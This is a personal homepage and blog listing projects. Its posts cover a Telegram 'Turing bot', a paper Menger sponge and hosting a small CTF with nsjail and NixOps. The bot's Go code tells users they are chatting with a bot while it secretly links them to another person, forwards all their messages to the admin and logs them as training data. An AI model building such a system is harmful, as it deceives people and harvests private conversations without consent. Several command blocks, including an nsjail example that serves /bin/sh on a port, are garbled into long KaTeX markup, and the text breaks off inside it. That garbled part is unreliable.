Hey, I'm Emile, some person from Germany. On the internet, you will most likely find me under the name hanemile, with the picture below as my avatar.1

drawing

1

Text adapted from https://www.siguza.net/

This page is ment to be my "homeserver" on the internet. Stuff I do should land here.

Contact

For sending encrypted mail (if you wish to), you can find my public-key here.

pub   rsa2048/0x4D8DD313A751DED7 2018-05-06 [SC]
      Key fingerprint = BE5E 7A59 6047 206E 35D1  6EE4 4D8D D313 A751 DED7

Otherwise, you can reach me via matrix (@emile:emile.space), via telegram (@hanemile) or via twitter (@hanemile).

Projects

titledescription
notesNotetaking as minimal as it gets2
Paged Out! article"Accelerating simulations by clustering bodies using the Barnes-Hut algorithm" for the Paged Out! magazine3
nixosMy nixos4 configurations
matrixA minimal matrix5 sdk
weather botA small matrix5 weatherbot
reqlogA minimal request logger
faila2A simple webserver
redirA webserver with the soul purpose of redirecting
graphClickerA simple frontend for collecting metrics
giffGif as a service
pixeltsunamiA high performance pixelflut client
randomHTTPAn http server returning random stuff
metrics-bundlerA minimal metrics bundler
GalaxySimulator (Writeup) (en) (ger)Simulating galaxies on a large scale
Navarro-Frenk-White Profile containerGenerating galaxies
golang TLE packageGolange package for parsing TLEs6
2

https://twitter.com/m4r1d3/status/1310685714200264705 3: https://pagedout.institute 4: https://nixos.org 5: https://matrix.org 6: https://en.wikipedia.org/wiki/Two-line_element_set

WIP

(I'm currently inserting the stuff listed on the about page in the individual folders, so if there's nothing here, see the about page).

Blogposts are a way that I can communicate with you in a formal manner. This means that this is a place I can post stuff that you can read, such as you are doing now. The topics may vary a lot, but you should find something that might interest you.

Apart from here, I also publish blogposts on tildeho.me on my userpage.

Turing bot

I've played around a bit with Markov Chains and have found them to be a fun and simple way to generate sentences from existing data. A problem I've had was to actually aquire such data for generating the markov chain. I've used The Entire Bee Movie Script and the updated version of the Gutenberg dataset as an input, but none of there really satisfied me. The sentences end up just being weird and don't really make sense in context.

Data

That was the moment I realized I needed data, lots of data and it hat to be somehow realistic. The end goal was to build a chatbot you could chat with and get okish responses. Obtaining data is hard, due to throwing all moral understanding overboard being bad habit. The data we need ist the data produced in private chats, so I tried inserting my telegram history into the markov chain, but the result was kind of underwhelming. I didn't really find the right settings for the sentences to be appropriate and it just isn't enough data.

Removing the bot

Then I had the idea of building a bot people could talk to and use that conversation as data for the markov chain. Problem: this presupposes that such a bot already exists: a contradiction. We can solve this problem by completly eliminating the bot:

I built a small bot that just functions as a gateway connecting two people. The people think that they are talking to a bot, but in the end, they're talking to each other. This led to really interesting conversations and I kind of felt as if I was watching a turing test (I was, but it was kind of surreal).

Learnings

There were more learnings than "writing a telegram bot is fairly easy": Watching how people talk with each other and unknowingly try to test the limits of bots is super interesting and entertaining at the same time.

Reactions

"Ja und bin überrascht wie gut. Mache hauptsächlich Definitionsfragen und kann mir vorstellen, dass da paar klügere Search-Engine-Queries hinterhängen, aber ich konnte auf Englisch wechseln".

"Yes and I'm surprised how good. I'm mostly asking definition questions and can imagine there are some smarter search engine queries in the backend, but I was able to switch to English"

Code

The complete code is a bit more than 100 lines of pure code, I've added a lot of comments for making it easier to understand, even for beginners.

Beware: this code was written down in a matter of minutes, there are a lot of things wrong with it, but it works for a minimal prototype which was the goal of all of this.

package main
 
import (
	"fmt"
	"log"
	"os"
	"time"
 
	tgbotapi "github.com/go-telegram-bot-api/telegram-bot-api"
)
 
// Connections is a map storing connections between people
var Connections map[int64]int64
 
// ChatIDPerson maps a chatID to a username
var ChatIDPerson map[int64]string
 
func main() {
	// define the bot
	bot, err := tgbotapi.NewBotAPI("REDACTED")
	if err != nil {
		log.Panic(err)
		return
	}
 
	u := tgbotapi.NewUpdate(0)
	u.Timeout = 60
	updates, err := bot.GetUpdatesChan(u)
 
	// initialize the connections and the chatidperson map
	Connections = make(map[int64]int64)
	ChatIDPerson = make(map[int64]string)

	// insert the "admin" chatid for recieving notifications when the bot
	// starts and getting all the messages
	var emile int64 = "REDACTED"

	// create a file to lot the messages for inserting them into the markov
	// chain
	f, err := os.Create(fmt.Sprintf("%d.txt", time.Now().UnixNano()))
	if err != nil {
		log.Panic(err)
		return
	}

	// Intialilize known connections here:
	// var alice int64 = 123456
	// var bob int64 = 654321
	// Connections[alice] = bob
	// Connections[bob] = alice
 
	// send the "admin" a message that the bot has started
	msg := tgbotapi.NewMessage(emile, "Bot started")
	bot.Send(msg)
 
	// print all existing connections and send them to the admin
	for sender, reciever := range Connections {
		connection := fmt.Sprintf("%s: %s\n", ChatIDPerson[sender], ChatIDPerson[reciever])
		fmt.Printf("%s", connection)
		msg1 := tgbotapi.NewMessage(emile, connection)
		bot.Send(msg1)
	}
 
 
	// this is the "main" loop, we can handle message updates (aka. incomming
	// messages) in here
	for update := range updates {

 		// ignore any non-Message Updates
		if update.Message == nil {
			continue
		}
 
		// define shorthands for the chat id the current message is from and
		// the message text
		chatID := update.Message.Chat.ID
		message := update.Message.Text
 
		// don't handle anything except for text messages
		if update.Message.Audio != nil || update.Message.Document != nil || update.Message.Photo != nil || update.Message.Sticker != nil || update.Message.Video != nil || update.Message.Voice != nil || update.Message.Contact != nil || update.Message.Location != nil || update.Message.Sticker != nil {
			msg1 := tgbotapi.NewMessage(chatID, "ERROR")
			bot.Send(msg1)
		}
 
		// if the user enters /start, tell them to enter /connect to get connected to another user 
		if message == "/start" {
			msg1 := tgbotapi.NewMessage(chatID, "Enter /connect to connect to a bot to talk to.")
			bot.Send(msg1)
		}
 
		// if the users enters /connect, try establishing a connection with
		// another user. If no other user is available, wait until another
		// user enters /connect to get connected
		if message == "/connect" {

			// null the own connection, this deletes the connection if the user
			// is already connected to another user
			partnerID := Connections[chatID]
			if Connections[chatID] != 0 {
				Connections[partnerID] = 0
				msg := tgbotapi.NewMessage(partnerID, "You have been disconnected, enter /connect to talk with another bot.")
				bot.Send(msg)
			}
 
			// this loop iterates over all connections searching for a person
			// that currently has not connection partner, 
			var randomChatID int64 = 0
			for a, b := range Connections {

				// make sure that people don't get connected with themselves or
				// their previous connection partner
				if a != chatID && a != partnerID && b == 0 {

					// if a person is found, inform the user and the connection
					// partner that they've been connected
					randomChatID = a
					msg1 := tgbotapi.NewMessage(randomChatID, "You are now connected to a bot, write something!")
					bot.Send(msg1)
					msg2 := tgbotapi.NewMessage(chatID, "You are now connected to a bot, write something!")
					bot.Send(msg2)
				}
			}

			// if no person was found, the user has to wait until another
			// person enters /connect, inform them that this might take a while
			if randomChatID == 0 {
				msg := tgbotapi.NewMessage(chatID, "I'll notify you as soon as I've got a bot that can talk to you *warteschlangenmusik*.")
				bot.Send(msg)
			}

			// establish the connection between the user and the connection
			// partner
			Connect(chatID, randomChatID)
		}
 
		// if the user has no connection partner and doesn't enter /connect,
		// inform them that they can enter /connect in order to be connected
		if Connections[chatID] == 0 && message != "/connect" {
			msg1 := tgbotapi.NewMessage(chatID, "Enter /connect to connect to a bot to talk to.")
			bot.Send(msg1)
		}
 
		// if the user has got a connection partner, send their messages there
		if Connections[chatID] != 0 && message[0] != '/' {
			msg := tgbotapi.NewMessage(Connections[chatID], message)
			bot.Send(msg)
		}
 
		// also send all messages to the admin, this ist for "moderation", as
		// we don't want this to end bad, for more information on the
		// problems arising with this, see the "problems" section in the
		// blogpost below
		formattedMessage := fmt.Sprintf("<%s> %s", update.Message.From.FirstName, message)
		msg := tgbotapi.NewMessage(emile, formattedMessage)
		bot.Send(msg)
 
		// add the firstname of the person to the mapping from chatid to name
		ChatIDPerson[chatID] = update.Message.From.FirstName
 
		// log the messages sent
		log.Printf("<%d> [%s]→[%s] %s", update.Message.Chat.ID, update.Message.From.FirstName, ChatIDPerson[Connections[chatID]], update.Message.Text)
 
		// print all connections
		for sender, reciever := range Connections {
			fmt.Printf("%s: %s\n", ChatIDPerson[sender], ChatIDPerson[reciever])
		}
 
		// write the messages to the logfile
		_, err := f.WriteString(message + "\n")
		if err != nil {
			log.Panic(err)
			return
		}
	}
	f.Close()
}
 
// Connect a chat to another
func Connect(chatID int64, otherChatID int64) {
	Connections[chatID] = otherChatID
	Connections[otherChatID] = chatID
}

Menger Sponge

A Menger Sponge ist a fractal curve with a surface area approching while the volume approches

for higher order Merger sponges.

This seemed interesting, so I built one out of paper.

  1. Fold 72 sonobe:
  2. Insert the individual sonobe together to form the merger sponge:

Next step: Build a merger sponge (left as an exercise for the reader).

Nix CTF

A short blogpost detailing the setup used to host a fairly spontaneous CTF at the Location not included 2020 hosted by das labor, the hackspace in Bochum.

Getting started

So, in order to host a CTF, there are two main groups of services needed: a Scoreboard and some Challenges.

The Scoreboard is there to track the amount of points each team has got in order to rank them.

The Challenges are accessible independantly allowing them to be run literally everywhere.

Having these two groups setup, a basic CTF-event can be held. It is important to note here, that these two can (in theory) run completely independant from each other, the only shared knowlege should be the name of the challenges and their flags hash.

Let's get into the detail of what there is to take care of and how I did this for the CTF.

The Scoreboard

The scoreboard should rank the teams, thus count amount of points that they have obtained by solving challenges... or should it be done differently?

Let's say you've built challenges and started defining the amounts of points a challenge is worth on your own. The result is biased, due to you knowing the solution and thus possibly misjudging the challenge difficulty.

A possible popular solution to this is called "Dynamic Scoring". Using this concept, each challenge is worth a fixed amount of points from the beginning and the amounts of points the challenge is worth sinks with the amount of teams solving the challenge. For example, the challenge may be worth 500 points withouy any team having solved it, but if a team manages to solve the challenge, the amount of points the challenge is worth drops to 499. With another solve, the points drop eaven further to 484 and so forth (we're getting to how these points are calculated in a minute!).

Dynamic scoring

So when implementing dynamic scoring, we need to keep track of how often a challenge was solved and the challenges the individual teams have solved. Using this, we can calculate the amount of points a challenge is worth:

MAX     : 500      No solves
MIN     : 100      DECAY solves
DECAY   : 15       Amount of solves needed in order to reach minimum points
ALG     :          (((MIN - MAX)/(DECAY ^ 2)) * (solves ^ 2)) + MAX

MAX defines the amount of points a challenge is worth without any solves.

MIN defines the amount of points a challenge is atleast worth, the challenge should never be worth less.

DECAY defines how many teams have to have solved the challenge, so it is worth MIN points.

ALG is the algorithm used for this, we insert the values defined above here (and the amount of solves this challenge has got) in order to get the amount of points the challenge is worth.

If you wan't to try this out, head to the scoreboard-repo, set it up and play around with it!

The challenges

Having challenges running is important, having running challenges even more important and having challenges that keep the players in their bounds is really important (Events in the past have shown that this can end well, but we don't want to risk anything).

Step 1: build a challenge:

I'll split this up into the two main categories each challenge can have (no not pwn, web, cry or so...). These categories are static challenges and dynamic challenges.

Static

Static challenges are challenges, for which the player only need some files, for example in a lot of crypto challenges, the players are given files, but don't get any interactive service they can interact with.

Static challenges can be hosted almost anywhere, the important part here is that the players get access to the location the challenges are hosted, and that the host is capable of hosting challenges potentially a lot of players.

Dynamic

Dynamic challenges on the other hand are challenges that the players interact with. This means that as an organizer, you host the challenges somewhere and the players need to interact with the service you've hosted.

The best example for this category is the pwn category in most CTFs: players get a binary, exploit it locally and then run the exploit on a server provided by the orgainzers.

The clue here is to have the service exposed strongly isolated. All in all: the player should be able to play the challenge, but not pivot through your network.

Isolation

Isolation can be achieved in many ways. For example, limiting the stuff the user can do very strictly. This might as well be "don't build broken software", so we need a better way to do this...

First of all, let's define what we've got: Let's say we've build an interactive challenge (for example one that might look like a python shell). We allow the user to enter stuff and exec it. The user can now in theory do everythig they want on the host the service is running on. In order to prevent this, we could insert the service into a container or so, but containers don't automatically mean security...

Luckily, we're not the first one's organizing such a CTF, so people have built stuff that might help, for example nsjail. Nsjail is a "A light-weight process isolation tool [...]" allowing us to isolate our challenge. Even better, njail offers a lot of stuff making hosting such vulnerable challenges great: It can host a binary, wait for a connection and upon recieving a connection run some binary or so connecting the network io with stdin and stdout.

From the examples at the bottom of the nsjail man --help page:

# Wait on a port 31337 for connections, and run /bin/sh
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">s</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord mathnormal">a</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.77777em;vertical-align:-0.08333em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord">−</span><span class="mord mathnormal">p</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">t</span><span class="mord">3</span><span class="mord">1</span><span class="mord">3</span><span class="mord">3</span><span class="mord">7</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">−</span><span class="mord mathnormal">c</span><span class="mord mathnormal">h</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">o</span><span class="mord mathnormal">o</span><span class="mord mathnormal">t</span><span class="mord">/</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">−</span><span class="mord">/</span><span class="mord mathnormal">b</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord">/</span><span class="mord mathnormal">s</span><span class="mord mathnormal">h</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.946332em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">i</span><span class="mord">‘</span><span class="mord">‘</span><span class="mord">‘</span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mord mathnormal">h</span><span class="mord mathnormal">a</span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">a</span><span class="mord mathnormal">c</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">h</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">t</span><span class="mord mathnormal">o</span><span class="mord mathnormal">h</span><span class="mord mathnormal">o</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal">c</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">i</span><span class="mord mathnormal">c</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">o</span><span class="mord mathnormal">p</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal">c</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">t</span><span class="mord mathnormal">o</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">e</span><span class="mord mathnormal">c</span><span class="mord mathnormal">u</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mord mathnormal">a</span><span class="mord mathnormal">b</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord">.</span><span class="mord mathnormal">G</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">a</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">m</span><span class="mord mathnormal">p</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">c</span><span class="mord mathnormal">h</span><span class="mord mathnormal">p</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">c</span><span class="mord mathnormal">i</span><span class="mord mathnormal">p</span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">m</span><span class="mord mathnormal">o</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal">c</span><span class="mord mathnormal">h</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mclose">)</span><span class="mclose">!</span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mord mathnormal">o</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">a</span><span class="mord mathnormal">c</span><span class="mord mathnormal">h</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">a</span><span class="mord mathnormal">b</span><span class="mord mathnormal">i</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord">‘</span><span class="mord">‘</span><span class="mord">‘</span><span class="mord mathnormal">b</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">h</span></span></span></span> nsjail -Ml \
	--hostname host \
	-T /dev \
	-R /dev/urandom \
	-R /dev/pts \
	--port 9999 \
	--user 1337 \
	--group 1337 \
	--chroot / \
	--cwd /home/user \
	--stderr_to_null \
	-E LANG=C.UTF-8 \
	-E TERM=xterm \
	-E FLAG=flag{******************} \
	 -- \
	/usr/bin/python3 /home/user/main.py

But all of this still has to be hosted, so let's get into that a bit...

Infra

Container foo

First of all, all dynamic challenges should be containerized for example as below:

FROM nsjailcontainer

RUN useradd user
RUN apt-get update

RUN apt-get install -y python3

ENV flag="flag{****************}"
COPY main.py /home/user/main.py

ENTRYPOINT [ "/bin/nsjail" ]

As the entrypoint is set to nsjail, we can provide the nsjail arguments when running the container, but let's first look at how nixos comes into this, as it does play a crucial role...

Hosts

For this tiny CTF, there was one host (although I'd reccommend to use atleast two hosts in order to have the scoreboard on a seperate host).

The tiny CX11 from hetzner was used for this, and my laptop was used for deploying it's config using nixops.

The host is running NixOS allowing us to configure the system only using it's configuration.

Nixops

Nixops can be used to deploy nixos configurations to other hosts. (I wrote a short post here describing the process, du the documentation skipping any kind of introduction).

This allows us to define the config for the remote host on our machine in the config and use nixops to deploy this config to the remote host running the services and/or the scoreboard.

TL;DR of the nixops blogpost:

  1. Create a target.nix file containing information on where the host is running
{
  target = { config, pkgs, ... }: {
    deployment.targetHost = "123.122.111.110";
  };
}
  1. Create a config.nix file containing the configuration for that host:
{
  network.description = "nixops example";

  target = {config, lib, pkgs, ...}: {
  
  # insert complete config here
  
  };
};
  1. Create the deployment:
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">i</span><span class="mord mathnormal">x</span><span class="mord mathnormal">o</span><span class="mord mathnormal">p</span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord">.</span><span class="mord">/</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mord mathnormal">n</span><span class="mord mathnormal">i</span><span class="mord mathnormal">x</span><span class="mord">.</span><span class="mord">/</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord">.</span><span class="mord mathnormal">n</span><span class="mord mathnormal">i</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">p</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord">‘</span><span class="mord">6</span><span class="mord">8</span><span class="mord">8</span><span class="mord">3</span><span class="mord">0</span><span class="mord">7</span><span class="mord">1</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">3</span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">1</span><span class="mord">1</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.77777em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal">d</span><span class="mord">9</span><span class="mord">5</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord">0</span><span class="mord">2</span><span class="mord">4</span><span class="mord">2</span><span class="mord mathnormal">d</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">9</span><span class="mord">1</span><span class="mord">3</span><span class="mord mathnormal">a</span><span class="mord">0</span><span class="mord">’</span><span class="mord">6</span><span class="mord">8</span><span class="mord">8</span><span class="mord">3</span><span class="mord">0</span><span class="mord">7</span><span class="mord">1</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">3</span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">1</span><span class="mord">1</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.77777em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal">d</span><span class="mord">9</span><span class="mord">5</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord">0</span><span class="mord">2</span><span class="mord">4</span><span class="mord">2</span><span class="mord mathnormal">d</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">9</span><span class="mord">1</span><span 